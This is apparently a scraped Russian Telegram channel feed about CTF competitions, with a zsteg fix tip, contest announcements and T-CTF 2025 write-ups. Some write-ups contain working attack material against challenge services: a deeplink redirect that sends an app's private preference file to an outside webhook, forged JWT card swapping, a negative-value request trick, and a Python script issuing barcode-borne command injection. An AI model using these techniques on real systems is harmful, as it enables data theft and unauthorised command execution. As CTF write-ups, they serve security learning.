А у нас новая экспериментальная рубрика, где грамотные киберкотлеты делятся практическими советами и хитростями! Сегодня @Max_RSC расскажет, как решить актуальную проблему с инструментом zsteg, который после обновления системы упорно отказывается помогать решать задачки по стеге. Поддержите реакциями, если рубрика интересна! ❤️
Решение проблемы 'bad interpreter: /usr/bin/ruby3.1: no such file or directory'
Для начала давайте проверим, установлен ли Ruby в системе:
Если Ruby не установлен, то дальше читать не имеет смысла, пока вы его не установите. Но если у вас Kali Linux и вы обновляли систему до актуальной версии, вы, скорее всего, увидите:
Теперь давайте проверим, где именно zsteg находится на нашей системе:
На Kali мы, скорее всего, увидим:
Нам нужно изменить шебанг (первую строку) в файле /usr/local/bin/zsteg, чтобы он ссылался на корректный путь к Ruby. Открываем файл:
Заменяем первую строку на:
Сохраняем изменения.
Скорее всего, потребуется переустановить zsteg. Выполняем:
Если переустановка прошла успешно, мы увидим в выводе строки 'Successfully installed...'. Теперь пробуем запустить zsteg с нужной картинкой в качестве аргумента — у нас это, скорее всего, получится!
Решение проблемы 'bad interpreter: /usr/bin/ruby3.1: no such file or directory'
Для начала давайте проверим, установлен ли Ruby в системе:
ruby -v
Если Ruby не установлен, то дальше читать не имеет смысла, пока вы его не установите. Но если у вас Kali Linux и вы обновляли систему до актуальной версии, вы, скорее всего, увидите:
ruby 3.3.7 (2025-01-15 revision be31f993d7)
Теперь давайте проверим, где именно zsteg находится на нашей системе:
which zsteg
На Kali мы, скорее всего, увидим:
/usr/local/bin/zsteg
Нам нужно изменить шебанг (первую строку) в файле /usr/local/bin/zsteg, чтобы он ссылался на корректный путь к Ruby. Открываем файл:
sudo nano /usr/local/bin/zsteg
Заменяем первую строку на:
#!/usr/bin/env ruby
Сохраняем изменения.
Скорее всего, потребуется переустановить zsteg. Выполняем:
gem install zsteg
Если переустановка прошла успешно, мы увидим в выводе строки 'Successfully installed...'. Теперь пробуем запустить zsteg с нужной картинкой в качестве аргумента — у нас это, скорее всего, получится!
Please open Telegram to view this post
VIEW IN TELEGRAM
💊9👍7❤6🥴2
Forwarded from Life-Hack - Хакер
Привет! Объявляем конкурс авторских статей на Life-Hack - Хакер
Что сделать:
- Прислать свою статью @adm1nLH.
- Статья должна быть на тему Информационной Безопасности, ИИ и быть полезной.
- Статья должна быть интересной и действительно авторской. Никакого рерайта!
Желательно приложить скриншоты, код, мемасики (если они в тему).
Объем статьи от 3000 символов (без воды).
Оценка статьи будет производиться нашим главредом.
Старт:
Старт конкурса с момента публикации этого объявления.
Окончание конкурса - 15 апреля включительно.
Чек-лист:
- Статья не менее 500 слов (3000 символов без пробелов);
- Статья начинается с введения, краткого описания сути;
- Для руководств дальше идет теория, почему так происходит, зачем вообще это нужно делать и тд;
- Практическая часть, как сделать, что выполнять, куда нажимать и так далее;
- Выводы.
Заголовок статьи должен быть уникален!
Всегда дели статьи на абзацы, чтобы текст легко поддавался пониманию.
Награждение:
Первое место - 3000 рублей
Второе место - 2000 рублей
Третье место - 1000 рублей
Что сделать:
- Прислать свою статью @adm1nLH.
- Статья должна быть на тему Информационной Безопасности, ИИ и быть полезной.
- Статья должна быть интересной и действительно авторской. Никакого рерайта!
Желательно приложить скриншоты, код, мемасики (если они в тему).
Объем статьи от 3000 символов (без воды).
Оценка статьи будет производиться нашим главредом.
Старт:
Старт конкурса с момента публикации этого объявления.
Окончание конкурса - 15 апреля включительно.
Чек-лист:
- Статья не менее 500 слов (3000 символов без пробелов);
- Статья начинается с введения, краткого описания сути;
- Для руководств дальше идет теория, почему так происходит, зачем вообще это нужно делать и тд;
- Практическая часть, как сделать, что выполнять, куда нажимать и так далее;
- Выводы.
Заголовок статьи должен быть уникален!
Всегда дели статьи на абзацы, чтобы текст легко поддавался пониманию.
Награждение:
Первое место - 3000 рублей
Второе место - 2000 рублей
Третье место - 1000 рублей
❤4🔥1
task.zip
1.1 MB
#pwn
biba-and-boba
Всех занулили... Остались только Биба и Боба.
Автор: @s41nt0l3xus
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
biba-and-boba
Всех занулили... Остались только Биба и Боба.
nc 45.12.114.80 32005
Автор: @s41nt0l3xus
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6👌1
Напоминаю, что у нас есть ламповый чатик! Там можно спросить совета и скинуть смешной мем.
Ссылка на чат - @writeup_chat👉
Ссылка на чат - @writeup_chat
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5
Всем привет!
Нас уже больше 1,5 тыс!👓
А ещё, каналу почти год! Собственно провожу традиционный опрос, чтобы мы больше понимали друг друга! Кто ты, воин?
Нас уже больше 1,5 тыс!
А ещё, каналу почти год! Собственно провожу традиционный опрос, чтобы мы больше понимали друг друга! Кто ты, воин?
Anonymous Poll
17%
Школьник 🎒
51%
Студент 🤓
33%
Работяга 👮
16%
Кибер-котлета 😈
16%
Анонимус 🌚
20%
Ахиллес, сын Пелея 😎
👍5❤2
public-climb-the-mountain.tar.gz
6 MB
Не так давно в открытом доступе появились все необходимые инструменты для самостоятельной компиляции и запуска программ для Эльбрус на своих x86 хостах. Ну что же, это отличный повод проверить, как классические бинарные уязвимости выглядят и эксплуатируются на этой архитектуре!
#pwn #эльбрус
climb-the-mountain
Достаточно ли ты силен, чтобы забраться на гору?
book | guide | toolchain
Автор: @s41nt0l3xus
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
#pwn #эльбрус
climb-the-mountain
Достаточно ли ты силен, чтобы забраться на гору?
nc 45.12.114.80 32008
book | guide | toolchain
Автор: @s41nt0l3xus
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥4👌1💊1
#crypto
Загадка Евклида
На столе в кабинете математика кто-то оставил загадочную записку с этим текстом. Помоги разобраться, что это может значить.
Формат флага: KFCCTF{}
Автор: @while_not_False
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Загадка Евклида
7A 6A 75 72 6C 76 48 54 09 54 5C 04 7A 66 4A 0D 40 71 04 67 7F 51 03 5D 67 75 08 5D 47 04 02 5B 62 4E
На столе в кабинете математика кто-то оставил загадочную записку с этим текстом. Помоги разобраться, что это может значить.
Формат флага: KFCCTF{}
Автор: @while_not_False
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5💊3
Вы только посмотрите, это на нашего маленького хакера такое надо
Eat Sleep Burp Repeat
Спасибо @b4bk4 за ссылочку
Eat Sleep Burp Repeat
Спасибо @b4bk4 за ссылочку
❤11👍6🥴1
Этот пост для мемов
Если мне очень понравится мем я персонально отсыплю звездочек
давайте веселиться
Если мне очень понравится мем я персонально отсыплю звездочек
давайте веселиться
По окончанию T-CTF присылайте ваши райтапчики мне или @Max_RSC, оперативно опубликуем 👉
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6⚡1
Райтапы по CTF{2025}
По окончанию T-CTF присылайте ваши райтапчики мне или @Max_RSC, оперативно опубликуем 👉
Просто напоминаю что все мы будем рады райтапам….
🥱9🥴4😐3❤1⚡1👍1
Капибрань.zip
3.6 KB
#network #trick #tctf2025
Капибрань
В задании нужно было найти страну клиента, который делает запросы через различные (9) прокси.
Если отправить какие-либо данные клиенту, он сразу же ответит, из чего можно узнать RTT (round-trip time) между своим сервером и клиентом. Тогда, если вычесть RTT между сервером и прокси, мы получим RTT между клиентом и прокси.
Считая, что оно пропорционально расстоянию от клиента до прокси <=> скорость постоянна, можно найти страну, для которой значения скорости примерно одинаковы, это можно сделать, например, вычислив стандартное отклонение.
Такое решение неидеально, для некоторых стран полученные отклонения могут быть очень близки, и нужно определять страну по RTT вручную.
Например, в моем случае у Испании и Швеции были почти одинаковые значения отклонения, но RTT равнялся ~330/370 мс, если клиент был в Испании/Швеции и передавал данные через 138.199.60.5 (да, можно было просто сделать таблицу с RTT для всех стран и одного/нескольких прокси и искать страны по ней, но это неинтересно).
Автор: @q4927
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибрань
В задании нужно было найти страну клиента, который делает запросы через различные (9) прокси.
Если отправить какие-либо данные клиенту, он сразу же ответит, из чего можно узнать RTT (round-trip time) между своим сервером и клиентом. Тогда, если вычесть RTT между сервером и прокси, мы получим RTT между клиентом и прокси.
Считая, что оно пропорционально расстоянию от клиента до прокси <=> скорость постоянна, можно найти страну, для которой значения скорости примерно одинаковы, это можно сделать, например, вычислив стандартное отклонение.
Такое решение неидеально, для некоторых стран полученные отклонения могут быть очень близки, и нужно определять страну по RTT вручную.
Например, в моем случае у Испании и Швеции были почти одинаковые значения отклонения, но RTT равнялся ~330/370 мс, если клиент был в Испании/Швеции и передавал данные через 138.199.60.5 (да, можно было просто сделать таблицу с RTT для всех стран и одного/нескольких прокси и искать страны по ней, но это неинтересно).
Автор: @q4927
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3⚡1
Строка.zip
64.5 KB
#misc #network #coding #tctf2025
Капибегущая строка
Для начала надо экспортировать данные из wireshark в csv файл. Кода у меня нет, можно сделать чрез файл-Export Packet Dissections но там будут лишние строки и у меня код перестал работать. Потом надо написать код преобразующий полученные данные в матрицу, чтобы потом анимировать бегущую строку. Краткое пояснение логики "преобразования матрицы" (функция create_address_mapping)
Под "преобразованием матрицы" здесь понимается процесс отображения одномерного набора адресов устройств (например, 0x0100, 0x0101, ..., 0x0140) на двумерную сетку (матрицу) координат (строка, столбец) для визуализации.
Логика этого преобразования следующая:
Получение и фильтрация адресов: Функция получает на вход множество (set) всех уникальных адресов назначения, найденных в CSV-файле. Сначала отбираются только корректные шестнадцатеричные адреса (начинающиеся с 0x).
Числовое представление и сортировка: Отобранные адреса (которые являются строками) преобразуются в целые числа. Это критически важно для правильной сортировки. Если сортировать строки, то "0x10a" может оказаться раньше "0x109". После преобразования в числа адреса сортируются по возрастанию. Теперь у нас есть упорядоченный список адресов от самого младшего к самому старшему.
Итерация и вычисление координат: Скрипт проходит по этому отсортированному списку адресов. Для каждого адреса известен его порядковый номер (индекс) в этом списке (начиная с 0). Этот индекс используется для вычисления координат на сетке:
Номер строки (row) вычисляется как результат целочисленного деления (//) индекса на количество столбцов в сетке (GRID_COLS). Это показывает, сколько полных строк уже "заполнено" адресами перед текущим.
Номер столбца (col) вычисляется как остаток от деления (%) индекса на количество столбцов в сетке (GRID_COLS). Это показывает позицию адреса внутри его строки.
Предположение о порядке: Этот метод расчета координат предполагает так называемый "row-major order" (построчный порядок). Это значит, что сетка заполняется адресами слева направо, сверху вниз, сначала полностью заполняется первая строка, потом вторая и так далее.
Проверка границ: Скрипт проверяет, не превышает ли вычисленный номер строки (row) максимально допустимый (GRID_ROWS - 1). Если превышает, выводится предупреждение, так как адресов оказалось больше, чем ячеек в заданной сетке.
Создание карты: Результатом является словарь (mapping), где каждому исходному шестнадцатеричному адресу (строке) сопоставляется кортеж с его вычисленными координатами (строка, столбец). Эта карта затем используется функцией create_animation для отрисовки пикселя каждого устройства в нужном месте кадра.
Пример:
Допустим, GRID_COLS = 13.
Адрес с index = 0 -> row = 0 // 13 = 0, col = 0 % 13 = 0 -> Координаты (0, 0)
Адрес с index = 12 -> row = 12 // 13 = 0, col = 12 % 13 = 12 -> Координаты (0, 12)
Адрес с index = 13 -> row = 13 // 13 = 1, col = 13 % 13 = 0 -> Координаты (1, 0) (переход на следующую строку)
Адрес с index = 26 -> row = 26 // 13 = 2, col = 26 % 13 = 0 -> Координаты (2, 0)
Таким образом, упорядоченный список адресов "разворачивается" в двумерную сетку заданного размера
Автор: @K1rlII
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибегущая строка
Для начала надо экспортировать данные из wireshark в csv файл. Кода у меня нет, можно сделать чрез файл-Export Packet Dissections но там будут лишние строки и у меня код перестал работать. Потом надо написать код преобразующий полученные данные в матрицу, чтобы потом анимировать бегущую строку. Краткое пояснение логики "преобразования матрицы" (функция create_address_mapping)
Под "преобразованием матрицы" здесь понимается процесс отображения одномерного набора адресов устройств (например, 0x0100, 0x0101, ..., 0x0140) на двумерную сетку (матрицу) координат (строка, столбец) для визуализации.
Логика этого преобразования следующая:
Получение и фильтрация адресов: Функция получает на вход множество (set) всех уникальных адресов назначения, найденных в CSV-файле. Сначала отбираются только корректные шестнадцатеричные адреса (начинающиеся с 0x).
Числовое представление и сортировка: Отобранные адреса (которые являются строками) преобразуются в целые числа. Это критически важно для правильной сортировки. Если сортировать строки, то "0x10a" может оказаться раньше "0x109". После преобразования в числа адреса сортируются по возрастанию. Теперь у нас есть упорядоченный список адресов от самого младшего к самому старшему.
Итерация и вычисление координат: Скрипт проходит по этому отсортированному списку адресов. Для каждого адреса известен его порядковый номер (индекс) в этом списке (начиная с 0). Этот индекс используется для вычисления координат на сетке:
Номер строки (row) вычисляется как результат целочисленного деления (//) индекса на количество столбцов в сетке (GRID_COLS). Это показывает, сколько полных строк уже "заполнено" адресами перед текущим.
Номер столбца (col) вычисляется как остаток от деления (%) индекса на количество столбцов в сетке (GRID_COLS). Это показывает позицию адреса внутри его строки.
Предположение о порядке: Этот метод расчета координат предполагает так называемый "row-major order" (построчный порядок). Это значит, что сетка заполняется адресами слева направо, сверху вниз, сначала полностью заполняется первая строка, потом вторая и так далее.
Проверка границ: Скрипт проверяет, не превышает ли вычисленный номер строки (row) максимально допустимый (GRID_ROWS - 1). Если превышает, выводится предупреждение, так как адресов оказалось больше, чем ячеек в заданной сетке.
Создание карты: Результатом является словарь (mapping), где каждому исходному шестнадцатеричному адресу (строке) сопоставляется кортеж с его вычисленными координатами (строка, столбец). Эта карта затем используется функцией create_animation для отрисовки пикселя каждого устройства в нужном месте кадра.
Пример:
Допустим, GRID_COLS = 13.
Адрес с index = 0 -> row = 0 // 13 = 0, col = 0 % 13 = 0 -> Координаты (0, 0)
Адрес с index = 12 -> row = 12 // 13 = 0, col = 12 % 13 = 12 -> Координаты (0, 12)
Адрес с index = 13 -> row = 13 // 13 = 1, col = 13 % 13 = 0 -> Координаты (1, 0) (переход на следующую строку)
Адрес с index = 26 -> row = 26 // 13 = 2, col = 26 % 13 = 0 -> Координаты (2, 0)
Таким образом, упорядоченный список адресов "разворачивается" в двумерную сетку заданного размера
Автор: @K1rlII
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5⚡1❤1
extension_71db2d8.zip
4.5 KB
#web #reverse #infra #tctf2025
Капибаза
Нужно было проанализировать код в файле content.js и составить ссылку для получения флага.
Конечный результат:
https://firestore.googleapis.com/v1/projects/t-capybase/databases/(default)/documents/sniffed
Автор: @masm32
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибаза
Нужно было проанализировать код в файле content.js и составить ссылку для получения флага.
Конечный результат:
https://firestore.googleapis.com/v1/projects/t-capybase/databases/(default)/documents/sniffed
Автор: @masm32
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3⚡1
#mobile #tctf2025
Капибивень
Декомпилируем (при помощи jadx, например)
По пути com.epriori.bone.domain.api находим следующий класс:
Из него мы видим, что есть какой-то
Попробуем добавить в
Далее в
Гуглим и находим, что в теге
Отсюда понимаем, что у deeplink есть 2 параметра -
Ну и на наш сервер прилетает ответ:
Автор: @tonysdx
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибивень
Декомпилируем (при помощи jadx, например)
По пути com.epriori.bone.domain.api находим следующий класс:
public interface Api {
@FormUrlEncoded
@POST("/api/partners/add")
Object addPartner(@Field("name") String str, @Field("homePageUrl") String str2, Continuation<? super Response<Unit>> continuation);
@POST("/api/approve")
Object approve(@Field("secret") String str, @Field("url") String str2, Continuation<? super Response<Unit>> continuation);
@GET("/api/partners")
Object getPartners(Continuation<? super Response<List<Partners>>> continuation);
@GET("/api/posts")
Object getPosts(Continuation<? super Response<List<Post>>> continuation);
@GET("/api/unapproved")
Object getUnapproved(@Query("secret") String str, Continuation<? super Response<List<Partners>>> continuation);
@POST("/api/reject")
Object reject(@Field("secret") String str, @Field("url") String str2, Continuation<? super Response<Unit>> continuation);
}Из него мы видим, что есть какой-то
secret, который мы не знаем, и есть незащищенные ручки, в частности /api/partners/add с query parameters name и homePageUrlПопробуем добавить в
homePageUrl свой url своего сервера и увидим, что туда ходит бот!Далее в
AndroidManifest.xml:<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="supportreport" android:scheme="bone"/>
</intent-filter>
Гуглим и находим, что в теге
data зарегистрирован так называемый deeplink bone://supportreport, который вызывает Intent функцию у нашего приложения:private final void handleIntent(Intent intent) {
String action = intent.getAction();
Uri data = intent.getData();
if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null) {
return;
}
String queryParameter = data.getQueryParameter("file");
String queryParameter2 = data.getQueryParameter(ImagesContract.URL);
if (queryParameter != null && queryParameter2 != null) {
createTempFileAndSend(queryParameter, queryParameter2);
} else {
Toast.makeText(this, "Неверные параметры в deeplink", 0).show();
}
}Отсюда понимаем, что у deeplink есть 2 параметра -
ImagesContract.URL = "url" и file. Покопав код и подебажив код, обнаруживаем, что при помощи deeplink мы можем отправлять файлы с локального устройства на любой url. Однако методом тыка обнаруживаем, что бот не ходит на bone:// ссылки изначально. Поэтому добавляем на наш сайт редирект на ссылку bone://, где file это сохраненный SharedPreferences в формате .xml:<!DOCTYPE html>
<script>
window.location.href = "bone://supportreport?file=/data/data/com.epriori.bone/shared_prefs/moderator_info.xml&url=https://webhook.site/b125b29d-ab76-403d-b8c1-0a431370b7f3";
</script>
Ну и на наш сервер прилетает ответ:
POST / HTTP/1.1
Host: l.requestcatcher.com
Accept-Encoding: gzip
Connection: Keep-Alive
Content-Length: 340
Content-Type: multipart/form-data; boundary=1875aa9b-8256-4409-95a4-b2781be8c082
User-Agent: okhttp/3.14.9
--1875aa9b-8256-4409-95a4-b2781be8c082
Content-Disposition: form-data; name="file"; filename="moderator_info.xml"
Content-Type: text/plain
Content-Length: 131
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="moderator_key">tctf{b3_CArEFul_W1Th_7H3_dE3P_L1nk}</string>
</map>
--1875aa9b-8256-4409-95a4-b2781be8c082--
Автор: @tonysdx
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12⚡1❤1
#web #tctf2025
Капибальпы
Суть задания, украсть у сноубордистов минуты для скипасов. Сноубордисты создали запрос на минуты (донаты).
Я создал 2 аккаунта, и посмотрел какой заброс отсылается кода ты передаешь минуты. Там обычный ПОСТ запрос, и в нем отсылается JSON:
Самое банальное что можно сделать поставить -1, вуаля вместо доната ты забираешь время)))
Ну и для получения флага надо получить достижение которое есть в профиле лыжника.
«Укради 100500 минут у сноубордиста»
Отправляем запрос с -100500 и всё готово.
Автор: @serega00731
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибальпы
Суть задания, украсть у сноубордистов минуты для скипасов. Сноубордисты создали запрос на минуты (донаты).
Я создал 2 аккаунта, и посмотрел какой заброс отсылается кода ты передаешь минуты. Там обычный ПОСТ запрос, и в нем отсылается JSON:
{“minutes”:1}Самое банальное что можно сделать поставить -1, вуаля вместо доната ты забираешь время)))
Ну и для получения флага надо получить достижение которое есть в профиле лыжника.
«Укради 100500 минут у сноубордиста»
Отправляем запрос с -100500 и всё готово.
Автор: @serega00731
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🥱7😐2⚡1🥴1 1
1.jpg
63.3 KB
#reverse #tctf2025
Капибарса
Первое пытался сделать перебором (комп умер), второе сделал от обратного.
Финальное число для открытия замка это values = 4143632706302433
Мы берем его и начинаем идти в обратку, вычитаем вначале число, потом делим.
Как я выбирал какое число вычесть?
Вокруг центрального блока есть описание:
1)если к сенсору подставить желтый то (values * 4)+3
И так далее.
Я вычитал все значения и делил на 4 если число получалось целым-> я ставил букву соответствующую и делал дальше, потом отобразил получившиеся символы в обратном порядке и подставил tctf{те самые символы}, флаг сдан.
Автор: @serega00731
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибарса
Первое пытался сделать перебором (комп умер), второе сделал от обратного.
Финальное число для открытия замка это values = 4143632706302433
Мы берем его и начинаем идти в обратку, вычитаем вначале число, потом делим.
Как я выбирал какое число вычесть?
Вокруг центрального блока есть описание:
1)если к сенсору подставить желтый то (values * 4)+3
И так далее.
Я вычитал все значения и делил на 4 если число получалось целым-> я ставил букву соответствующую и делал дальше, потом отобразил получившиеся символы в обратном порядке и подставил tctf{те самые символы}, флаг сдан.
Автор: @serega00731
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3⚡1
#web #tctf2025
Капиблеф
Переходим на сайт, тестим формы отправки, замечаем, что при методе сброса карт на стол (showdown), отправляются jwt-токены в формате:
Дешифровав данный токен, видим что в них зашифрованы сбрасываемые карты, в данном случае - 3 крестов и король крестов соответственно.
Предполагаем, что можно подменять карты, в момент сбрасывания на стол,и действительно.
Вставив 2 раза последний токен, получаем пару королей.
Видим, что при каждой раздаче мы можем узнавать jwt-токен и соответствующую карту.
Таким образом, соберем себе словарь из колоды карт в формате:
токен - карта.
Теперь при каждой раздаче, выбираем из собранных карт наиболее высокие комбинации и подменяем jwt-токены (стрит, флеш).
Я победил в основном, используя каре из тузов.
После серии из 13 побед, получаем сертификат, содержащий флаг.
Автор: @konsgory
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капиблеф
Переходим на сайт, тестим формы отправки, замечаем, что при методе сброса карт на стол (showdown), отправляются jwt-токены в формате:
{"action":"showdown","cards":["eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiMyIsInN1aXQiOiJDbHVicyJ9fQ.ovIt-0l5F3f0WA9kmlIaey4y1os2MM2xptPh3x_i3jI","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk"]}Дешифровав данный токен, видим что в них зашифрованы сбрасываемые карты, в данном случае - 3 крестов и король крестов соответственно.
{
"iss": "deck",
"exp": ,
"nbf": ,
"iat": ,
"card": {
"rank": "K",
"suit": "Clubs"
},
"header": {
"alg": "HS256",
"typ": "JWT"
}
}Предполагаем, что можно подменять карты, в момент сбрасывания на стол,и действительно.
Вставив 2 раза последний токен, получаем пару королей.
{"action":"showdown","cards":["eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk"]}Видим, что при каждой раздаче мы можем узнавать jwt-токен и соответствующую карту.
Таким образом, соберем себе словарь из колоды карт в формате:
токен - карта.
Теперь при каждой раздаче, выбираем из собранных карт наиболее высокие комбинации и подменяем jwt-токены (стрит, флеш).
Я победил в основном, используя каре из тузов.
После серии из 13 побед, получаем сертификат, содержащий флаг.
Автор: @konsgory
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8⚡1❤1
#web #debug #tctf2025
Капипаркинг
Наша задача подделать билет и попасть на паркинг в качестве вип гостя.
Билет проверяет паркомат Капибаровска.
У нас есть пример билета обычного посетителя.
На билете есть штрих код в формате CODE39.
Находим в интернете генератор таких штрихкодов ( или пишем на python ) и пытаемся, поменять какие-то значения.
Пример кода на билете, который шифруется 1%BABAN123%202504191104%.
Понимаем, что после каждого знака % идет разделение информации по типам.
Вторая часть отвечает за номер авто, в данном случае BABAN123, потом 3 часть - дата и время 202504191104.
Первая отвечает за тип билета, пытаемся менять его. 3%BABAN123%202504191104% - в таком случае билет считается vip, но паркомат требует vip ключ.
Тогда перебираем дальше и находим режим debug: 9%BABAN123%202504191104%. В нем от нас просят не ключ, а команду.
Пробуем добавить к коду на билете "ls%" и у нас есть ответ!
Пытаемся узнать кто мы и потыкать команды.
В итоге читаем файл по пути app/routes.py и находим там флаг.
Вот скрипт на python, который сам генерирует штрих код, отправляет его на сервер и эмитирует командную строку машины на той стороне:
Автор: @Evgeniy12337382
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капипаркинг
Наша задача подделать билет и попасть на паркинг в качестве вип гостя.
Билет проверяет паркомат Капибаровска.
У нас есть пример билета обычного посетителя.
На билете есть штрих код в формате CODE39.
Находим в интернете генератор таких штрихкодов ( или пишем на python ) и пытаемся, поменять какие-то значения.
Пример кода на билете, который шифруется 1%BABAN123%202504191104%.
Понимаем, что после каждого знака % идет разделение информации по типам.
Вторая часть отвечает за номер авто, в данном случае BABAN123, потом 3 часть - дата и время 202504191104.
Первая отвечает за тип билета, пытаемся менять его. 3%BABAN123%202504191104% - в таком случае билет считается vip, но паркомат требует vip ключ.
Тогда перебираем дальше и находим режим debug: 9%BABAN123%202504191104%. В нем от нас просят не ключ, а команду.
Пробуем добавить к коду на билете "ls%" и у нас есть ответ!
Пытаемся узнать кто мы и потыкать команды.
В итоге читаем файл по пути app/routes.py и находим там флаг.
Вот скрипт на python, который сам генерирует штрих код, отправляет его на сервер и эмитирует командную строку машины на той стороне:
from barcode import get_barcode_class
from barcode.writer import ImageWriter
from io import BytesIO
import requests
import json
# 1. Генерация штрихкода CODE39 в памяти (без сохранения на диск)
def generate_barcode(code_text):
Code39 = get_barcode_class('code39')
code39 = Code39(code_text, writer=ImageWriter())
buffer = BytesIO()
code39.write(buffer, options={'format': 'PNG'})
buffer.seek(0)
return buffer
# 2. Отправка POST-запроса
def send_barcode_image(image_buffer, filename="barcode.png"):
files = {
'image': (filename, image_buffer, 'image/png')
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": "https://t-parking-0a2zxpo1.spbctf.org/",
"Origin": "https://t-parking-0a2zxpo1.spbctf.org",
"Accept": "*/*"
}
cookies = {
"__cfduid": "7aec16a4dbb0ab6f8f27fac37264dce0"
}
response = requests.post(
"https://t-parking-0a2zxpo1.spbctf.org/scan",
files=files,
headers=headers,
cookies=cookies
)
return response.text
# --- Запуск ---
if __name__ == "__main__":
while True:
code = "9%BABAN123%202504191104%"
command = input("> ")
# code = code.replace(" ", "") # Убираем пробелы
code += command + "%"
filename = "barcode.png" # Имя файла только для запроса
img = generate_barcode(code)
response = send_barcode_image(img, filename)
try:
json_data = json.loads(response)
parking_fee = json_data.get("parking_fee", "")
if parking_fee is not None:
parking_fee_cleaned = parking_fee.replace("\n", " ").strip()
pretty = json.dumps(json_data, indent=2, ensure_ascii=False)
print(parking_fee_cleaned)
except json.JSONDecodeError:
print("[!] Ответ не является JSON:")
print(response)
Автор: @Evgeniy12337382
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥4🫡2⚡1🥴1🤨1